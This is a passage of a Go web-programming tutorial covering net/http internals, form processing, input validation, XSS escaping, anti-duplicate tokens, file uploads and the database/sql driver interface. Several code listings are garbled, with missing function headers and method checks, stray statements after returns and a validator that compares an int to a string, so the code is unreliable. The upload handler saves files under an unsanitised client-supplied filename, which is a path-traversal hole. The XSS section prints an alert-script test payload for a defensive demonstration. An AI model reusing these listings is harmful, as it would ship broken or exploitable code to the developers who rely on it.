Date:Date: Tue, 30 Oct 2012 04:14:25 GMT // responded time
Content-Type: text/html // responded data type
Transfer-Encoding: chunked // it means data were sent in fragments
Connection: keep-alive // keep connection
Content-Length: 90 // length of body
// blank line
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... // message body
The first line is called the status line. It supplies the HTTP version, status code and status message.
The status code informs the client of the status of the HTTP server's response. In HTTP/1.1, 5 kinds of status codes were
defined:
- 1xx Informational
- 2xx Success
- 3xx Redirection
- 4xx Client Error
- 5xx Server Error
Let's see more examples about response packages. 200 means server responded correctly, 302 means redirection.
Figure 3.6 Full information for visiting a website
HTTP is stateless and Connection: keep-alive
82
The term stateless doesn't mean that the server has no ability to keep a connection. It simply means that the server doesn't
recognize any relationships between any two requests.
In HTTP/1.1, Keep-alive is used by default. If clients have additional requests, they will use the same connection for them.
Notice that Keep-alive cannot maintain one connection forever; the application running in the server determines the limit
with which to keep the connection alive for, and in most cases you can configure this limit.
Request instance
Figure 3.7 All packages for opening one web page
We can see the entire communication process between client and server from the above picture. You may notice that there
are many resource files in the list; these are called static files, and Go has specialized processing methods for these files.
This is the most important function of browsers: to request for a URL and retrieve data from web servers, then render the
HTML. If it finds some files in the DOM such as CSS or JS files, browsers will request these resources from the server
again until all the resources finish rendering on your screen.
Reducing HTTP request times is one way of improving the loading speed of web pages. By reducing the number of CSS
and JS files that need to be loaded, both request latencies and pressure on your web servers can be reduced at the same
time.
Links
Directory
Previous section: Web foundation
Next section: Build a simple web server
83
Build a simple web server
3.2 Build a simple web server

We've discussed that web applications are based on the HTTP protocol, and Go provides full HTTP support in the
net/http package. It's very easy to set a web server up using this package.
Use http package setup a web server

package main
import (
"fmt"
"net/http"
"strings"
"log"
)
func sayhelloName(w http.ResponseWriter, r *http.Request) {

r.ParseForm() // parse arguments, you have to call this by yourself
fmt.Println(r.Form) // print form information in server side
fmt.Println("path", r.URL.Path)
fmt.Println("scheme", r.URL.Scheme)
fmt.Println(r.Form["url_long"])
for k, v := range r.Form {
fmt.Println("key:", k)
fmt.Println("val:", strings.Join(v, ""))
}
fmt.Fprintf(w, "Hello astaxie!") // send data to client side
}
func main() {
http.HandleFunc("/", sayhelloName) // set router
err := http.ListenAndServe(":9090", nil) // set listen port
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
After we execute the above code, the server begins listening to port 9090 in local host.
Open your browser and visit http://localhost:9090 . You can see that Hello astaxie is on your screen.
Let's try another address with additional arguments: http://localhost:9090/?url_long=111&url_long=222
Now let's see what happens on both the client and server sides.
You should see the following information on the server side:
Figure 3.8 Server printed information
As you can see, we only need to call two functions in order to build a simple web server.
If you are working with PHP, you're probably asking whether or not we need something like Nginx or Apache. The answer is
we don't, since Go listens to the TCP port by itself, and the function sayhelloName is the logic function just like a controller
in PHP.
If you are working with Python you should know tornado, and the above example is very similar to that.
If you are working with Ruby, you may notice it is like script/server in ROR (Ruby on Rails).
84
Build a simple web server
We used two simple functions to setup a simple web server in this section, and this simple server already has the capacity
for high concurrency operations. We will talk about how to utilize this in the next two sections.
Links
Directory
Previous section: Web working principles
Next section: How Go works with web
85
How Go works with web
3.3 How Go works with web

We learned to use the net/http package to build a simple web server in the previous section, and all those working
principles are the same as those we will talk about in the first section of this chapter.
Concepts in web principles

Request: request data from users, including POST, GET, Cookie and URL.
Response: response data from server to clients.
Conn: connections between clients and servers.
Handler: Request handling logic and response generation.
http package operating mechanism

The following picture shows the work flow of a Go web server.
Figure 3.9 http work flow
1. Create a listening socket, listen to a port and wait for clients.

2. Accept requests from clients.
3. Handle requests, read HTTP header. If the request uses POST method, read data in the message body and pass them
to handlers. Finally, socket returns response data to clients.
Once we know the answers to the three following questions, it's easy to know how the web works in Go.
How do we listen to a port?

How do we accept client requests?
How do we allocate handlers?
In the previous section we saw that Go uses ListenAndServe to handle these steps: initialize a server object, call
net.Listen("tcp", addr) to setup a TCP listener and listen to a specific address and port.
Let's take a look at the http package's source code.
86
//Build version go1.1.2.

func (srv *Server) Serve(l net.Listener) error {
defer l.Close()
var tempDelay time.Duration // how long to sleep on accept failure
for {
rw, e := l.Accept()
if e != nil {
if ne, ok := e.(net.Error); ok && ne.Temporary() {
if tempDelay == 0 {
tempDelay = 5 * time.Millisecond
} else {
tempDelay *= 2
}
if max := 1 * time.Second; tempDelay > max {
tempDelay = max
}
log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay)
time.Sleep(tempDelay)
continue
}
return e
}
tempDelay = 0
c, err := srv.newConn(rw)
if err != nil {
continue
}
go c.serve()
}
}
How do we accept client requests after we begin listening to a port? In the source code, we can see that
srv.Serve(net.Listener) is called to handle client requests. In the body of the function there is a for{} . It accepts a
request, creates a new connection then starts a new goroutine, passing the request data to the go c.serve() goroutine.
This is how Go supports high concurrency, and every goroutine is independent.
How do we use specific functions to handle requests? conn parses request c.ReadRequest() at first, then gets the
corresponding handler: handler := sh.srv.Handler which is the second argument we passed when we called
ListenAndServe . Because we passed nil , Go uses its default handler handler = DefaultServeMux . So what is
DefaultServeMux doing here? Well, its the router variable which can call handler functions for specific URLs. Did we set
this? Yes, we did. We did this in the first line where we used http.HandleFunc("/", sayhelloName) . We're using this function
to register the router rule for the "/" path. When the URL is / , the router calls the function sayhelloName . DefaultServeMux
calls ServerHTTP to get handler functions for different paths, calling sayhelloName in this specific case. Finally, the server
writes data and responds to clients.
Detailed work flow:
Figure 3.10 Work flow of handling an HTTP request
I think you should know how Go runs web servers now.
Links
Directory
Previous section: Build a simple web server
Next section: Get into http package
87
88
Get into http package
3.4 Get into http package

In previous sections, we learned about the work flow of the web and talked a little bit about Go's http package. In this
section, we are going to learn about two core functions in the http package: Conn and ServeMux.
goroutine in Conn
Unlike normal HTTP servers, Go uses goroutines for every job initiated by Conn in order to achieve high concurrency and
performance, so every job is independent.
Go uses the following code to wait for new connections from clients.
c, err := srv.newConn(rw)
if err != nil {
continue
}
go c.serve()
As you can see, it creates a new goroutine for every connection, and passes the handler that is able to read data from the
request to the goroutine.
Customized ServeMux
We used Go's default router in previous sections when discussing conn.server, with the router passing request data to a
back-end handler.
The struct of the default router:
type ServeMux struct {

mu sync.RWMutex // because of concurrency, we have to use a mutex here
m map[string]muxEntry // router rules, every string mapping to a handler
}
The struct of muxEntry:
type muxEntry struct {

explicit bool // exact match or not
h Handler
}
The interface of Handler:
type Handler interface {

ServeHTTP(ResponseWriter, *Request) // routing implementer
}
Handler is an interface, but if the function sayhelloName didn't implement this interface, then how did we add it as
handler? The answer lies in another type called HandlerFunc in the http package. We called HandlerFunc to define our
sayhelloName method, so sayhelloName implemented Handler at the same time. It's like we're calling HandlerFunc(f) ,
and the function f is force converted to type HandlerFunc .
89
type HandlerFunc func(ResponseWriter, *Request)
// ServeHTTP calls f(w, r).

func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
f(w, r)
}
How does the router call handlers after we set the router rules?
The router calls mux.handler.ServeHTTP(w, r) when it receives requests. In other words, it calls the ServeHTTP interface of
the handlers which have implemented it.
Now, let's see how mux.handler works.
func (mux *ServeMux) handler(r *Request) Handler {

mux.mu.RLock()
defer mux.mu.RUnlock()
// Host-specific pattern takes precedence over generic ones

h := mux.match(r.Host + r.URL.Path)
if h == nil {
h = mux.match(r.URL.Path)
}
if h == nil {
h = NotFoundHandler()
}
return h
}
The router uses the request's URL as a key to find the corresponding handler saved in the map, then calls
handler.ServeHTTP to execute functions to handle the data.
You should understand the default router's work flow by now, and Go actually supports customized routers. The second
argument of ListenAndServe is for configuring customized routers. It's an interface of Handler . Therefore, any router that
implements the Handler interface can be used.
The following example shows how to implement a simple router.
package main
import (
"fmt"
"net/http"
)
type MyMux struct {

}
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {

if r.URL.Path == "/" {
sayhelloName(w, r)
return
}
http.NotFound(w, r)
return
}

fmt.Fprintf(w, "Hello myroute!")
}
func main() {
mux := &MyMux{}
http.ListenAndServe(":9090", mux)
}
90
Routing
If you do not want to use a Router, you can still achieve what we wrote in the above section by replacing the second
argument to ListenAndServe to nil and registering the URLs using a HandleFunc function which goes through all the
registered URLs to find the best match, so care must be taken about the order of the registering.
sample code:
http.HandleFunc("/", views.ShowAllTasksFunc)
http.HandleFunc("/complete/", views.CompleteTaskFunc)
http.HandleFunc("/delete/", views.DeleteTaskFunc)
//ShowAllTasksFunc is used to handle the "/" URL which is the default ons
//TODO add http404 error
func ShowAllTasksFunc(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" {
context := db.GetTasks("pending") //true when you want non deleted tasks
//db is a package which interacts with the database
if message != "" {
context.Message = message
}
homeTemplate.Execute(w, context)
message = ""
} else {
message = "Method not allowed"
http.Redirect(w, r, "/", http.StatusFound)
}
}
This is fine for simple applications which doesn't requires parameterized routing, what when you need that? You can either
use the existing toolkits or frameworks, but since this book is about writing webapps in golang, we are going to teach how
to handle this scenario as well.
When the match is made on the HandleFunc function, the URL is matched, so suppose we are writing a todo list manager
and we want to delete a task so the URL we decide for that application is /delete/1 , so we register the delete URL like
this http.HandleFunc("/delete/", views.DeleteTaskFunc) /delete/1 this URL matches closest with the "/delete/" URL than
any other URL so in the r.URL.path we get the entire URL of the request.
http.HandleFunc("/delete/", views.DeleteTaskFunc)
//DeleteTaskFunc is used to delete a task, trash = move to recycle bin, delete = permanent delete
func DeleteTaskFunc(w http.ResponseWriter, r *http.Request) {
if r.Method == "DELETE" {
id := r.URL.Path[len("/delete/"):]
if id == "all" {
db.DeleteAll()
} else {
id, err := strconv.Atoi(id)
if err != nil {
fmt.Println(err)
} else {
err = db.DeleteTask(id)
if err != nil {
message = "Error deleting task"
} else {
message = "Task deleted"
}
}
}
} else {
message = "Method not allowed"
}
}
91
link: https://github.com/thewhitetulip/Tasks/blob/master/views/views.go#L170-#L195
In this above method what we basically do is in the function which handles the /delete/ URL we take its compelete URL,
which is /delete/1 , then we take a slice of the string and extract everything which starts after the delete word which is the
actual parameter, in this case it is 1 . Then we use the strconv package to convert it to an integer and delete the task
with that taskID.
In more complex scenarios too we can use this method, the advantage is that we don't have to use any third party toolkit,
but then again third party toolkits are useful in their own right, you need to make a decision which method you'd prefer. No
answer is the right answer.
Go code execution flow

Let's take a look at the whole execution flow.
Call http.HandleFunc
1. Call HandleFunc of DefaultServeMux
2. Call Handle of DefaultServeMux
3. Add router rules to map[string]muxEntry of DefaultServeMux
Call http.ListenAndServe(":9090", nil)
1. Instantiate Server
2. Call ListenAndServe method of Server
3. Call net.Listen("tcp", addr) to listen to port
4. Start a loop and accept requests in the loop body
5. Instantiate a Conn and start a goroutine for every request: go c.serve()
6. Read request data: w, err := c.readRequest()
7. Check whether handler is empty or not, if it's empty then use DefaultServeMux
8. Call ServeHTTP of handler
9. Execute code in DefaultServeMux in this case
10. Choose handler by URL and execute code in that handler function: mux.handler.ServeHTTP(w, r)
11. How to choose handler: A. Check router rules for this URL B. Call ServeHTTP in that handler if there is one C. Call
ServeHTTP of NotFoundHandler otherwise
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Previous section: How Go works with web
92
Summary
3.5 Summary
In this chapter, we introduced HTTP, DNS resolution flow and how to build a simple web server. Then we talked about how
Go implements web servers for us by looking at the source code of the net/http package.
I hope that you now know much more about web development, and you should see that it's quite easy and flexible to build
a web application in Go.
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Previous section: Get into http package
Next chapter: User form
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HTTP Form
4 User form
A user form is something that is very commonly used when developing web applications. It provides the ability to
communicate between clients and servers. You must be very familiar with forms if you are a web developer; if you are a
C/C++ programmer, you may want to ask: what is a user form?
A form is an area that contains form elements. Users can input information into form elements like text boxes, drop down
lists, radio buttons, check boxes, etc. We use the form tag <form> to define forms.
<form>
...
input elements
...
</form>
Go already has many convenient functions to deal with user forms. You can easily get form data in HTTP requests, and
they are easy to integrate into your own web applications. In section 4.1, we are going to talk about how to handle form
data in Go. Also, since you cannot trust any data coming from the client side, you must first validate the data before using
it. We'll go through some examples about how to validate form data in section 4.2.
We say that HTTP is stateless. How can we identify that certain forms are from the same user? And how do we make sure
that one form can only be submitted once? We'll look at some details concerning cookies (a cookie is information that can
be saved on the client side and added to the request header when the request is sent to the server) in both sections 4.3
and 4.4.
Another common use-case for forms is uploading files. In section 4.5, you will learn how to do this as well as controlling the
file upload size before it begins uploading, in Go.
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Next section: Process form inputs
94
Process form inputs
4.1 Process form inputs

Before we begin, let's take a look at a simple example of a typical user form, saved as login.gtpl in your project folder.
<html>
<head>
<title></title>
</head>
<body>
<form action="/login" method="post">
Username:<input type="text" name="username">
Password:<input type="password" name="password">
<input type="submit" value="Login">
</form>
</body>
</html>
This form will submit to /login on the server. After the user clicks the login button, the data will be sent to the login
handler registered by the server router. Then we need to know whether it uses the POST method or GET.
This is easy to find out using the http package. Let's see how to handle the form data on the login page.
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Process form inputs
package main
import (
"fmt"
"html/template"
"log"
"net/http"
"strings"
)

r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body)
// attention: If you do not call ParseForm method, the following data can not be obtained form
fmt.Println(r.Form) // print information on server side.
fmt.Println("path", r.URL.Path)
fmt.Println("scheme", r.URL.Scheme)
fmt.Println(r.Form["url_long"])
for k, v := range r.Form {
fmt.Println("key:", k)
fmt.Println("val:", strings.Join(v, ""))
}
fmt.Fprintf(w, "Hello astaxie!") // write data to response
}
func login(w http.ResponseWriter, r *http.Request) {

fmt.Println("method:", r.Method) //get request method
t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, nil)
} else {
r.ParseForm()
// logic part of log in
fmt.Println("username:", r.Form["username"])
fmt.Println("password:", r.Form["password"])
}
}
func main() {
http.HandleFunc("/", sayhelloName) // setting router rule
http.HandleFunc("/login", login)
err := http.ListenAndServe(":9090", nil) // setting listening port
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
Here we use r.Method to get the request method, and it returns an http verb -"GET", "POST", "PUT", etc.
In the login function, we use r.Method to check whether it's a login page or login processing logic. In other words, we
check to see whether the user is simply opening the page, or trying to log in. Serve shows the page only when the request
comes in via the GET method, and it executes the login logic when the request uses the POST method.
You should see the following interface after opening http://127.0.0.1:9090/login in your browser.
Figure 4.1 User login interface
The server will not print anything until after we type in a username and password, because the handler doesn't parse the
form until we call r.ParseForm() . Let's add r.ParseForm() before fmt.Println("username:", r.Form["username"]) , compile
our program and test it again. You will find that the information is printed on the server side now.
r.Form contains all of the request arguments, for instance the query-string in the URL and the data in POST and PUT. If
the data has conflicts, for example parameters that have the same name, the server will save the data into a slice with
multiple values. The Go documentation states that Go will save the data from GET and POST requests in different places.
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Process form inputs
Try changing the value of the action in the form http://127.0.0.1:9090/login to http://127.0.0.1:9090/login?
username=astaxie in the login.gtpl file, test it again, and you will see that the slice is printed on the server side.
Figure 4.2 Server prints request data
The type of request.Form is url.Value . It saves data with the format key=value .
v := url.Values{}
v.Set("name", "Ava")
v.Add("friend", "Jess")
v.Add("friend", "Sarah")
v.Add("friend", "Zoe")
// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
fmt.Println(v.Get("name"))
fmt.Println(v.Get("friend"))
fmt.Println(v["friend"])
Tips Requests have the ability to access form data using the FormValue() method. For example, you can change
r.Form["username"] to r.FormValue("username") , and Go calls r.ParseForm automatically. Notice that it returns the first
value if there are arguments with the same name, and it returns an empty string if there is no such argument.
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Previous section: User form
Next section: Verification of inputs
97
Validation of inputs
4.2 Verification of inputs

One of the most important principles in web development is that you cannot trust anything from client side user forms. You
have to validate all incoming data before use it. Many websites are affected by this problem, which is simple yet crucial.
There are two ways of verifying form data that are in common use. The first is JavaScript validation on the front-end, and
the second is server validation on the back-end. In this section, we are going to talk about server side validation in web
development.
Required fields
Sometimes we require that users input some fields but they fail to complete the field. For example in the previous section
when we required a username. You can use the len function to get the length of a field in order to ensure that users have
entered something.
if len(r.Form["username"][0])==0{
// code for empty field
}
r.Form treats different form element types differently when they are blank. For empty textboxes, text areas and file
uploads, it returns an empty string; for radio buttons and check boxes, it doesn't even create the corresponding items.
Instead, you will get errors if you try to access it. Therefore, it's safer to use r.Form.Get() to get field values since it will
always return empty if the value does not exist. On the other hand, r.Form.Get() can only get one field value at a time, so
you need to use r.Form to get the map of values.
Numbers
Sometimes you require numbers rather than other text for the field value. For example, let's say that you require the age of
a user in integer form only, i.e 50 or 10, instead of "old enough" or "young man". If we require a positive number, we can
convert the value to the int type first, then process it.
getint,err:=strconv.Atoi(r.Form.Get("age"))
if err!=nil{
// error occurs when convert to number, it may not a number
}
// check range of number

if getint >100 {
// too big
}
Another way to do this is by using regular expressions.
if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m {
return false
}
For high performance purposes, regular expressions are not efficient, however simple regular expressions are usually fast
enough. If you are familiar with regular expressions, it's a very convenient way to verify data. Notice that Go uses RE2, so
all UTF-8 characters are supported.
Chinese
98
Sometimes we need users to input their Chinese names and we have to verify that they all use Chinese rather than random
characters. For Chinese verification, regular expressions are the only way.
if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m {
return false
}
English letters
Sometimes we need users to input only English letters. For example, we require someone's English name, like astaxie
instead of asta谢. We can easily use regular expressions to perform our verification.
if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {
return false
}
E-mail address
If you want to know whether users have entered valid E-mail addresses, you can use the following regular expression:
if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {
fmt.Println("no")
}else{
fmt.Println("yes")
}
Drop down list

Let's say we require an item from our drop down list, but instead we get a value fabricated by hackers. How do we prevent
this from happening?
Suppose we have the following <select> :
<select name="fruit">
<option value="apple">apple</option>
<option value="pear">pear</option>
<option value="banana">banana</option>
</select>
We can use the following strategy to sanitize our input:
slice:=[]string{"apple","pear","banana"}
for _, v := range slice {

if v == r.Form.Get("fruit") {
return true
}
}
return false
All the functions I've shown above are in my open source project for operating on slices and maps:
https://github.com/astaxie/beeku
Radio buttons
99
If we want to know whether the user is male or female, we may use a radio button, returning 1 for male and 2 for female.
However, some little kid who just read his first book on HTTP, decides to send to you a 3. Will your program throw an
exception? As you can see, we need to use the same method as we did for our drop down list to make sure that only
expected values are returned by our radio button.
<input type="radio" name="gender" value="1">Male

<input type="radio" name="gender" value="2">Female
And we use the following code to validate the input:
slice:=[]int{1,2}
for _, v := range slice {

if v == r.Form.Get("gender") {
return true
}
}
return false
Check boxes
Suppose there are some check boxes for user interests, and that you don't want extraneous values here either. You can
validate these ase follows:
<input type="checkbox" name="interest" value="football">Football

<input type="checkbox" name="interest" value="basketball">Basketball
<input type="checkbox" name="interest" value="tennis">Tennis
In this case, the sanitization is a little bit different to validating the button and check box inputs since here we get a slice
from the check boxes.
slice:=[]string{"football","basketball","tennis"}
a:=Slice_diff(r.Form["interest"],slice)
if a == nil{
return true
}
return false
Date and time

Suppose you want users to input valid dates or times. Go has the time package for converting year, month and day to
their corresponding times. After that, it's easy to check it.
t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)

fmt.Printf("Go launched at %s\n", t.Local())
After you have the time, you can use the time package for more operations, depending on your needs.
In this section, we've discussed some common methods of validating form data on the server side. I hope that you now
understand more about data validation in Go, especially how to use regular expressions to your advantage.
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100
Previous section: Process form inputs

Next section: Cross site scripting
101
Cross site scripting
4.3 Cross site scripting

Today's websites have much more dynamic content in order to improve user experience, which means that we must
provide dynamic information depending on every individual's behavior. Unfortunately, dynamic websites are susceptible to
malicious attacks known as "Cross site scripting" (known as "XSS"). Static websites are not susceptible to Cross site
scripting.
Attackers often inject malicious scripts like JavaScript, VBScript, ActiveX or Flash into those websites that have loopholes.
Once they have successfully injected their scripts, user information can be stolen and your website can be flooded with
spam. The attackers can also change user settings to whatever they want.
If you wish to prevent this kind of attack, you should combine the following two approaches:
Validation of all data from users, which we talked about in the previous section.
Carefully handle data that will be sent to clients in order to prevent any injected scripts from running on browsers.
So how can we do these two things in Go? Fortunately, the html/template package has some useful functions to escape
data as follows:
func HTMLEscape(w io.Writer, b []byte) escapes b to w.
func HTMLEscapeString(s string) string returns a string after escaping from s.
func HTMLEscaper(args ...interface{}) string returns a string after escaping from multiple arguments.
Let's change the example in section 4.1:
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print at server side

fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) // responded to clients
If someone tries to input the username as <script>alert()</script> , we will see the following content in the browser:
Figure 4.3 JavaScript after escaped
Functions in the html/template package help you to escape all HTML tags. What if you just want to print <script>alert()
</script> to browsers? You should use text/template instead.
import "text/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
Output:
Hello, <script>alert('you have been pwned')</script>!
Or you can use the template.HTML type : Variable content will not be escaped if its type is template.HTML .
import "html/template"
...
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))
Output:
102
Cross site scripting
One more example of escaping:
import "html/template"
...
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
Output:
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Previous section: Verification of inputs
Next section: Duplicate submissions
103
Duplicate submissions
4.4 Duplicate submissions

I don't know if you've ever seen some blogs or BBS' that have more than one post that are exactly the same, but I can tell
you that it's because users submitted duplicate post forms. There are many things that can cause duplicate submissions;
sometimes users just double click the submit button, or they want to modify some content after posting and press the back
button. In some cases it is by the intentional actions of malicious users. It's easy to see how duplicate submissions can lead
to many problems. Thus, we have to use effective means to prevent it.
The solution is to add a hidden field with a unique token to your form, and to always check this token before processing the
incoming data. Also, if you are using Ajax to submit a form, use JavaScript to disable the submit button once the form has
been submitted.
Let's improve the example from section 4.2:
<input type="checkbox" name="interest" value="football">Football

<input type="checkbox" name="interest" value="basketball">Basketball
<input type="checkbox" name="interest" value="tennis">Tennis
Username:<input type="text" name="username">
Password:<input type="password" name="password">
<input type="hidden" name="token" value="{{.}}">
<input type="submit" value="Login">
We use an MD5 hash (time stamp) to generate the token, and added it to both a hidden field on the client side form and a
session cookie on the server side (Chapter 6). We can then use this token to check whether or not this form was submitted.

fmt.Println("method:", r.Method) // get request method
crutime := time.Now().Unix()
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
token := fmt.Sprintf("%x", h.Sum(nil))
t.Execute(w, token)
} else {
// log in request
r.ParseForm()
token := r.Form.Get("token")
if token != "" {
// check token validity
} else {
// give error if no token
}
fmt.Println("username length:", len(r.Form["username"][0]))
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print in server side
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) // respond to client
}
}
Figure 4.4 The content in browser after adding a token
You can refresh this page and you will see a different token every time. This ensures that every form is unique.
For now, you can prevent many duplicate submission attacks by adding tokens to your forms, but it cannot prevent all
deceptive attacks of this type. There is much more work that needs to be done.
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Duplicate submissions
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Previous section: Cross site scripting
Next section: File upload
105
File upload
4.5 File upload

Suppose you have a website like Instagram and you want users to upload their beautiful photos. How would you implement
that functionality?
You have to add property enctype to the form that you want to use for uploading photos. There are three possible values
for this property:
application/x-www-form-urlencoded Transcode all characters before uploading (default).

multipart/form-data No transcoding. You must use this value when your form has file upload controls.
text/plain Convert spaces to "+", but no transcoding for special characters.
Therefore, the HTML content of a file upload form should look like this:
<html>
<head>
<title>Upload file</title>
</head>
<body>
<form enctype="multipart/form-data" action="http://127.0.0.1:9090/upload" method="post">
<input type="file" name="uploadfile" />
<input type="hidden" name="token" value="{{.}}"/>
<input type="submit" value="upload" />
</form>
</body>
</html>
We need to add a function on the server side to handle this form.
http.HandleFunc("/upload", upload)
// upload logic
func upload(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method)
crutime := time.Now().Unix()
h := md5.New()
t, _ := template.ParseFiles("upload.gtpl")
t.Execute(w, token)
} else {
r.ParseMultipartForm(32 << 20)
file, handler, err := r.FormFile("uploadfile")
if err != nil {
fmt.Println(err)
return
}
defer file.Close()
fmt.Fprintf(w, "%v", handler.Header)
f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
io.Copy(f, file)
}
}
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File upload
As you can see, we need to call r.ParseMultipartForm for uploading files. The function ParseMultipartForm takes the
maxMemory argument. After you call ParseMultipartForm , the file will be saved in the server memory with maxMemory size.
If the file size is larger than maxMemory , the rest of the data will be saved in a system temporary file. You can use
r.FormFile to get the file handle and use io.Copy to save to your file system.
You don't need to call r.ParseForm when you access other non-file fields in the form because Go will call it when it's
necessary. Also, calling ParseMultipartForm once is enough -multiple calls make no difference.
We use three steps for uploading files as follows:
1. Add enctype="multipart/form-data" to your form.

2. Call r.ParseMultipartForm on the server side to save the file either to memory or to a temporary file.
3. Call r.FormFile to get the file handle and save to the file system.
The file handler is the multipart.FileHeader . It uses the following struct:
type FileHeader struct {

Filename string
Header textproto.MIMEHeader
// contains filtered or unexported fields
}
Figure 4.5 Print information on server after receiving file.
Clients upload files

I showed an example of using a form to a upload a file. We can impersonate a client form to upload files in Go as well.
107
File upload
package main
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"mime/multipart"
"net/http"
"os"
)
func postFile(filename string, targetUrl string) error {

bodyBuf := &bytes.Buffer{}
bodyWriter := multipart.NewWriter(bodyBuf)
// this step is very important

fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
if err != nil {
fmt.Println("error writing to buffer")
return err
}
// open file handle

fh, err := os.Open(filename)
if err != nil {
fmt.Println("error opening file")
return err
}
defer fh.Close()
//iocopy
_, err = io.Copy(fileWriter, fh)
if err != nil {
return err
}
contentType := bodyWriter.FormDataContentType()
bodyWriter.Close()
resp, err := http.Post(targetUrl, contentType, bodyBuf)

if err != nil {
return err
}
defer resp.Body.Close()
resp_body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return err
}
fmt.Println(resp.Status)
fmt.Println(string(resp_body))
return nil
}
// sample usage
func main() {
target_url := "http://localhost:9090/upload"
filename := "./astaxie.pdf"
postFile(filename, target_url)
}
The above example shows you how to use a client to upload files. It uses multipart.Write to write files into cache and
sends them to the server through the POST method.
If you have other fields that need to write into data, like username, call multipart.WriteField as needed.
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108
File upload
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Previous section: Duplicate submissions
109
Summary
4.6 Summary
In this chapter, we mainly learned how to process form data in Go through several examples like logging in users and
uploading files. We also emphasized that validating user data is extremely important for website security, and we used one
section to talk about how to filter data with regular expressions.
I hope that you now know more about the communication process between client and server.
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Previous section: File upload
Next chapter: Database
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Database
5 Database
For web developers, the database is at the core of web development. You can save almost anything into a database and
query or update data inside it, like user information, products or news articles.
Go doesn't provide any database drivers, but it does have a driver interface defined in the database/sql package. People
can develop database drivers based on that interface. In section 5.1, we are going to talk about database driver interface
design in Go. In sections 5.2 to 5.4, I will introduce some SQL database drivers to you. In section 5.5, I will present the
ORM　that I have developed which is based on the database/sql interface standard. It is compatible with most drivers that
have implemented the database/sql interface, and it makes it easy to access databases idiomatically in Go.
NoSQL has been a hot topic in recent years. More websites are deciding to use NoSQL databases as their main database
instead of just for the purpose of caching. I will introduce you to two NoSQL databases, which are MongoDB and Redis, in
section 5.6.
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Previous Chapter: Chapter 4 Summary
Next section: database/sql interface
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database/sql interface
5.1 database/sql interface

Go doesn't provide any official database drivers, unlike other languages like PHP which do. However, it does have some
database driver interface standards for developers to develop database drivers with. The advantage is that if your code is
developed according to these interface standards, you will not need to change any code if your database changes. Let's
see what these database interface standards are.
sql.Register
This function is in the database/sql package for registering database drivers when you use third-party database drivers.
All of these should call the Register(name string, driver driver.Driver) function in init() in order to register
themselves.
Let's take a look at the corresponding mymysql and sqlite3 driver code:
//https://github.com/mattn/go-sqlite3 driver
func init() {
sql.Register("sqlite3", &SQLiteDriver{})
}
//https://github.com/mikespook/mymysql driver
// Driver automatically registered in database/sql
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
func init() {
Register("SET NAMES utf8")
sql.Register("mymysql", &d)
}
We see that all third-party database drivers implement this function to register themselves, and Go uses a map to save user
drivers inside of database/sql .
var drivers = make(map[string]driver.Driver)
drivers[name] = driver
Therefore, this registration function can register as many drivers as you may require, each with different names.
We always see the following code when we use third-party drivers:
import (
"database/sql"
_ "github.com/mattn/go-sqlite3"
)
Here, the underscore (also known as a 'blank') _ can be quite confusing for many beginners, but this is a great feature in
Go. We already know that this underscore identifier is used for discarding values from function returns, and also that you
must use all packages that you've imported in your code in Go. So when the blank is used with import, it means that you
need to execute the init() function of that package without directly using it, which is a perfect fit for the use-case of
registering database drivers.
driver.Driver
Driver is an interface containing an Open(name string) method that returns a Conn interface.
112
type Driver interface {

Open(name string) (Conn, error)
}
This is a one-time Conn, which means it can only be used once per goroutine. The following code will cause errors to
occur:
...
go goroutineA (Conn) // query
go goroutineB (Conn) // insert
...
Because Go has no idea which goroutine does which operation, the query operation may get the result of the insert
operation, and vice-versa.
All third-party drivers should have this function to parse the name of Conn and return the correct results.
driver.Conn
This is a database connection interface with some methods, and as i've said above, the same Conn can only be used once
per goroutine.
type Conn interface {

Prepare(query string) (Stmt, error)
Close() error
Begin() (Tx, error)
}
Prepare returns the prepare status of corresponding SQL commands for querying and deleting, etc.
Close closes the current connection and cleans resources. Most third-party drivers implement some kind of
connection pool, so you don't need to cache connections which can cause unexpected errors.
Begin returns a Tx that represents a transaction handle. You can use it for querying, updating, rolling back
transactions, etc.
driver.Stmt
This is a ready status that corresponds with Conn, so it can only be used once per goroutine (as is the case with Conn).
type Stmt interface {

Close() error
NumInput() int
Exec(args []Value) (Result, error)
Query(args []Value) (Rows, error)
}
